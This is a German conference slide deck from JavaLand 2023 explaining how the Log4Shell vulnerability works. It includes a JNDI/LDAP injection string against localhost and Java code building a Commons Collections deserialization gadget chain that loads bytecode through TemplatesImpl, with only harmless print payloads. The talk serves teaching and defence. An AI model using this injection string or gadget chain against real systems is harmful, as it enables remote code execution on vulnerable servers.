Die Technik hinter Log4Shell & Co.

Christoph Wende und Christian Kumpe, 22. März, JavaLand 2023

Die Technik hinter Log4Shell & Co. — Agenda

Agenda

  1. Kurze Vorstellung
    • diva-e
    • Referenten
  2. Was war nochmal Log4Shell?
    • Wann eigentlich?
    • Und wie lief das?
  3. Wie funktioniert's?
    • Nachladen von Bytecode
    • Der Angriff über LDAP
  4. Fazit
Die Technik hinter Log4Shell & Co. — Vorstellung

diva-e auf einen Blick

  • 900 Mitarbeiter, 8 Standorte in Deutschland, 1 Office in Bulgarien und 1 Office in den USA
  • 80 Millionen Euro Umsatz
  • Nr. 1 digitaler Partner für Content, Commerce und Performance Marketing in Deutschland
  • Fokus auf mobile Endkundenerfahrung und Kundenbindung, inkl. Nutzung von Datenplattformen
  • Platz 7 im Arbeitgeberwettbewerb Great Place to Work in Deutschland
Die Technik hinter Log4Shell & Co. — Vorstellung

Referenten

Christian Kumpe

Expert Developer

  • Informatikstudium am KIT (Universität Karlsruhe)
  • Freelancer im Bereich Web und Java
  • Seit Mai 2011 bei diva-e in Karlsruhe
  • Über 20 Jahre in der Java-Welt unterwegs
Die Technik hinter Log4Shell & Co. — Vorstellung

Referenten

Christoph Wende

Expert Backend Developer & Team Lead

  • Agile Development Evangelist
  • Seit November 2009 bei diva-e in München
  • Über 18 Jahre in der Java-Welt unterwegs

Was war eigentlich passiert?

Die Technik hinter Log4Shell & Co. — Was war nochmal Log4Shell?

Was war eigentlich passiert?

Es war einmal, kurz vor Weihnachten 2021…

… und alle freuen sich auf die besinnliche Zeit...


Nein, doch nicht:

  • CVE-2021-44228
  • Gefunden am 25. November, Disclosure am 9. Dezember
  • Betroffen war die Bibliothek Apache Log4j2 in Version <= 2.14
  • Und plötzlich ging es durch die Presse... und durch die Logfiles
Ausschnitt eines Logfiles
Die Technik hinter Log4Shell & Co. — Was war nochmal Log4Shell?

Wie lief der Exploit?

Über Platzhalter können in Log4j2 dynamisch Informationen in Log-Nachrichten eingefügt werden. Diese Informationen konnten in der Standardkonfiguration auch über JNDI geladen werden.


public class VulnerableLoggingClass {

    private static final Logger logger = LogManager.getLogger(VulnerableLoggingClass.class);

    public static void main(String[] args) {
        logger.error("Malicious string in log message: ${jndi:ldap://127.0.0.1:1389/restOfUrl}");
    }

}
                
Ablaufdiagramm des Angriffs

Nachladen von Bytecode zur Laufzeit

Die Technik hinter Log4Shell & Co. — Nachladen von Bytecode

Unser Testcase:

public class Step1_HelloWorld {

  static {
    System.out.println("Static initializer of Step1_HelloWorld");
  }

  public static void main(String[] args) {
    System.out.println("Hello JavaLand 2023!");
  }

}
            

Ausgabe des Beispiels:


Static initializer of Step1_HelloWorld
Hello JavaLand 2023!
                    


Laut JLS 12.4. Initialization of Classes and Interfaces

Initialization of a class consists of executing its static initializers and the initializers for static fields (class variables) declared in the class.

Die Technik hinter Log4Shell & Co. — Nachladen von Bytecode

Wie kommt der Code in den ClassLoader?

import java.lang.reflect.Method;

public class Step2_ClassForName {

  public static void main(String[] args) throws Exception {
    Class<?> helloWorldClass = Class.forName("com.divae...Step1_HelloWorld");

    Method mainMethod = helloWorldClass.getMethod("main", String[].class);
    mainMethod.invoke(null, (Object) new String[0]);
  }

}
            

Ausgabe des Beispiels:


Static initializer of Step1_HelloWorld
Hello JavaLand 2023!
                    
Die Technik hinter Log4Shell & Co. — Nachladen von Bytecode

Und wenn der Code nicht im Classpath liegt?

import java.io.File;
import java.lang.reflect.Method;
import java.nio.file.Files;

public class Step3_ClassForBytes {

  public static void main(String[] args) throws Exception {
    byte[] bytes = Files.readAllBytes(new File("target/classes/.../Step1_HelloWorld.class").toPath());

    Class<?> helloWorldClass = new OverloadedClassLoader().defineClass(bytes);

    Method mainMethod = helloWorldClass.getMethod("main", String[].class);
    mainMethod.invoke(null, (Object) new String[0]);
  }

  private static class OverloadedClassLoader extends ClassLoader {
    Class<?> defineClass(byte[] bytes) {
      return defineClass(null, bytes, 0, bytes.length, null);
    }
  }
}
            

Ausgabe des Beispiels:


Static initializer of Step1_HelloWorld
Hello JavaLand 2023!
                    

Der Angriff über LDAP

Log4Shell — der Angriff über LDAP

Aufbau der JNDI Einträge im LDAP

Der LDAP Server liefert auf die Anfrage einen Eintrag zurück, der den Angriffscode triggert.

Mit Remote Code Base

  • Aufbau des Eintrags
    • javaClassName
      foo
    • objectClass
      javaNamingReference
    • javaCodeBase
      http://127.0.0.1:8080/
    • javaFactory
      com.divae.talks.log4shell.SimplePayload
  • Benötigt Remote Class Loading
    • Wurde mit JDK 1.8u121 standardmäßig deaktiviert.
  • LDAP Server muss erreichbar sein
  • HTTP der Remote Code Base muss erreichbar sein

Mit Deserialisierung

  • Aufbau des Eintrags
    • javaClassName
      foo
    • javaSerializedData
      ac ed 00 05 73 72 00 3a
      63 6f 6d 2e 73 75 6e 2e
  • „Nur“ LDAP Server muss erreichbar sein
  • Exploit muss bei der Deserialisierung getriggert werden

Wie kann man eigenen Code in serialisierte Daten verpacken?

Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Daten mit Java Serialisieren und Deserialisieren


import java.io.*;

public class SerializationBasics {

    // Serialisierbare Klasse
    public static class SerializableClass implements Serializable {

        private int value = 0;

    }

    public static void main(String[] args) throws Exception {

        // Objekt erzeugen und Wert zuweisen
        SerializableClass serializableObject = new SerializableClass();
        serializableObject.value = 1;

        // Objekt in Datei schreiben
        try (FileOutputStream file = new FileOutputStream("serialized-data.tmp");
             ObjectOutputStream out = new ObjectOutputStream(file)) {

            out.writeObject(serializableObject);

        }

        // Objekt aus Datei lesen und Wert anzeigen
        try (FileInputStream file = new FileInputStream("serialized-data.tmp");
             ObjectInputStream in = new ObjectInputStream(file)) {

            SerializableClass deserializedObject = (SerializableClass) in.readObject();
            System.out.println("Eingelesener Wert: " + deserializedObject.value);

        }

    }

}
                

Ausgabe des Beispiels:


Eingelesener Wert: 1
                
Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Eigenen Code bei der Serialisierung ausführen


import java.io.*;

public class SerializationBasics {

    // Klasse mit eigener Serialisierungslogik
    public static class SerializableClass implements Serializable {

        private int value = 0;

        private void writeObject(ObjectOutputStream out) {
            System.out.println("writeObject wird ausgeführt");
        }

        private void readObject(ObjectInputStream in) {
            System.out.println("readObject wird ausgeführt");
        }

    }

    public static void main(String[] args) throws Exception {

        SerializableClass serializableObject = new SerializableClass();
        serializableObject.value = 1;

        try (FileOutputStream file = new FileOutputStream("serialized-data.tmp");
             ObjectOutputStream out = new ObjectOutputStream(file)) {
            out.writeObject(serializableObject);
        }

        try (FileInputStream file = new FileInputStream("serialized-data.tmp");
             ObjectInputStream in = new ObjectInputStream(file)) {
            SerializableClass deserializedObject = (SerializableClass) in.readObject();
            System.out.println("Eingelesener Wert: " + deserializedObject.value);
        }

    }

}
                

Ausgabe des Beispiels


writeObject wird ausgeführt
readObject wird ausgeführt
Eingelesener Wert: 0
                
Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Wie funktioniert ein Angriff über die Deserialisierung in Java?

  • Ziel eines Angriffs
    • Eigenen Code in der Java Anwendung einschleusen und ausführen.
    • In unserem Fall über serialisierte Daten.
  • Der Weg zum Ziel
    1. Objekte geschickt kombinieren und serialisieren.
    2. Serialisierte Daten („Payload“) über log4shell Lücke in die Anwendung übertragen.
    3. Objekte werden deserialisiert und dabei der eigene Code instanziiert und ausgeführt.
Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Eine HashMap als Ausgangspunkt

Eine HashMap serialisiert nicht ihre interne Datenstruktur, sondern direkt ihre Schlüssel und Einträge. Beim Deserialisieren werden diese wieder in die interne Datenstruktur eingefügt.


package java.util;

public class HashMap<K,V> extends AbstractMap<K,V>
    implements Map<K,V>, Cloneable, Serializable {
…
    private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
            …
            // Die Einträge werden aus dem ObjectInputStream gelesen und eingefügt
            for (int i = 0; i < mappings; i++) {
                …
                K key = (K) s.readObject();
                V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
    }
…
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }
…
}
                

Damit kann die .hashCode() Implementierung serialisierbarer Klassen getriggert werden.

Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Wir merken uns…

  • Beim Deserialisieren einer HashMap führt sie .hashCode()-Methode des Key-Objekts aus.
Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Beliebige Methode im Classpath ausführen

Über die geschickte Kombination verschiedener Features von Commons Collections können beim Deserialisieren beliebige Methoden im Classpath ausgeführt werden.


import com.divae.talks.log4shell.exploit.deserialization.ReflectionUtil;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import org.apache.commons.collections4.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CallingAnArbitraryConstructorOnDeserialization {

    public static class SerializableClass implements Serializable {

        public void myMethod() {
            System.out.println("myMethod wird ausgeführt");
        }

    }

    public static void main(String[] args) throws Exception {

        // Objekt erzeugen
        SerializableClass serializableObject = new SerializableClass();

        // Instantiiert die übergebene Klasse mit einem Konstruktor mit der angegebenen Signatur und den Parametern
        InvokerTransformer invokerTransformer = new InvokerTransformer("myMethod", new Class[0], new Object[0]);

        // Ruft den invokerTransformer zum Erzeugen nicht vorhandener Einträge auf
        LazyMap lazyMap = LazyMap.lazyMap(new HashMap(), invokerTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, serializableObject);

        // Erzeuge eine HashMap mit 1 Eintrag
        Map hashMap = new HashMap();
        hashMap.put("this key will be replaces by tiedMapEntry", "a value");

        // Ersetzte den Schlüssel des Eintrags über Reflection
        Object firstMapEntry = hashMap.entrySet().iterator().next();
        ReflectionUtil.setFieldValue(firstMapEntry, "key", tiedMapEntry);

        try (FileOutputStream file = new FileOutputStream("serialized-data.tmp");
             ObjectOutputStream out = new ObjectOutputStream(file)) {
            out.writeObject(hashMap);
        }

        try (FileInputStream file = new FileInputStream("serialized-data.tmp");
             ObjectInputStream in = new ObjectInputStream(file)) {
            in.readObject();
        }

    }

}
                

Ausgabe des Beispiels:


myMethod wird ausgeführt
                
Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Wir merken uns…

  • Beim Deserialisieren führt die HashMap die .hashCode()-Methode des Key-Objekts aus.
  • Die Kombination aus TiedMapEntry und LazyMap führt den InvokerTransformer aus, sobald .hashCode() auf dem TiedMapEntry ausgeführt wird.
  • Ein InvokerTransformer kann beliebige Methoden auf einem Objekt ausführen.
Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Klasse aus serialisierten Daten instantiieren

In Kombination mit dem vorherigen Kniff, lässt sich mit einer Klasse der XSLT Bibliothek Apache Xalan eine eigene Klasse aus serialisierten Daten initialisieren.


import com.divae.talks.log4shell.exploit.deserialization.ReflectionUtil;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

import java.io.*;
import java.nio.file.Files;

public class Step4_InstantiatingClassFromSerializedData {

    public static void main(String[] args) throws Exception {

        // Bytecode der auf dem Zielsystem ausgeführt werden soll
        byte[] classBytes = Files.readAllBytes(new File("target/test-classes/com/divae/talks/log4shell/TransletPayload.class").toPath());

        TemplatesImpl templates = new TemplatesImpl();
        // Füge Bytecode in templates Objekt ein
        ReflectionUtil.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes});
        // Damit beim Deserialisieren nicht zu früh eine NullPointerException auftritt
        ReflectionUtil.setFieldValue(templates, "_name", "");

        try (FileOutputStream file = new FileOutputStream("serialized-data.tmp");
             ObjectOutputStream out = new ObjectOutputStream(file)) {
            out.writeObject(templates);
        }

        try (FileInputStream file = new FileInputStream("serialized-data.tmp");
             ObjectInputStream in = new ObjectInputStream(file)) {
            TemplatesImpl deserializedTemplates = (TemplatesImpl) in.readObject();

            // Wird dann am Ende durch den Kniff im vorherigen Beispiel ersetzt
            deserializedTemplates.newTransformer();
        }

    }

}
                

Ausgabe des Beispiels:


Payload in static initializer of TransletPayload
Exception in thread "main" java.lang.NullPointerException
	at …
                    

Den Fehler kann „getrost“ ignoriert werden, da der gewünschte Code bereits ausgeführt wurde.

Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Wir haben den Weg zum Ziel!

  1. Alle verwendeten Objekte und der Bytecode werden serialisiert zum Ziel übertragen werden.
  2. Beim Deserialisieren führt die HashMap die .hashCode()-Methode des Key-Objekts aus.
  3. Die Kombination aus TiedMapEntry und LazyMap führt den InvokerTransformer aus, sobald .hashCode() auf dem TiedMapEntry ausgeführt wird.
  4. Mit einem InvokerTransformer wird auf dem deserialisierten TemplatesImpl-Objekt .newTransformer() aufgerufen.
  5. Der Aufruf der Methode .newTransformer() auf dem TemplatesImpl-Objekt lädt den Bytecode in die JVM. Dabei werden die enthaltenen static Initializers ausgeführt.
  6. Die Payload in einem static Initializer im Bytecode wurde ausgeführt! flash
Die Technik hinter Log4Shell & Co. — der Angriff über LDAP

Demo


# Exploit Server läuft bereits…

# Auswählen der Java Version
JAVA_HOME=…/jdk1.8.0_66

# Starten des verwundbaren Codes
$JAVA_HOME/bin/java -classpath \
$HOME/git/log4shell-background/target/classes:\
$HOME/.m2/repository/org/apache/logging/log4j/log4j-core/2.14.1/log4j-core-2.14.1.jar:\
$HOME/.m2/repository/org/apache/logging/log4j/log4j-api/2.14.1/log4j-api-2.14.1.jar:\
$HOME/.m2/repository/org/apache/commons/commons-collections4/4.0/commons-collections4-4.0.jar \
com.divae.talks.log4shell.exploit.VulnerableLoggingClass
                

Fazit

Die Technik hinter Log4Shell & Co. — Fazit

Fazit

  • Die zweite Variante des Angriffs zeigt recht gut, wie man eine Lücke durch raffinierte Tricks erweitern kann
  • Hier haben wir nur zwei Varianten bis zum Ende verfolgt
  • Das wird nicht die letzte Lücke sein, welche die Java Serialisierung beim Angriff verwendet

diva-e. You can’t buy it. You can’t make it.
And you sure can’t fake it.

Danke

Bitte gebt uns Feedback!

Kapitel/Trennseite

Kapitel/Trennseite

Kapitel/Trennseite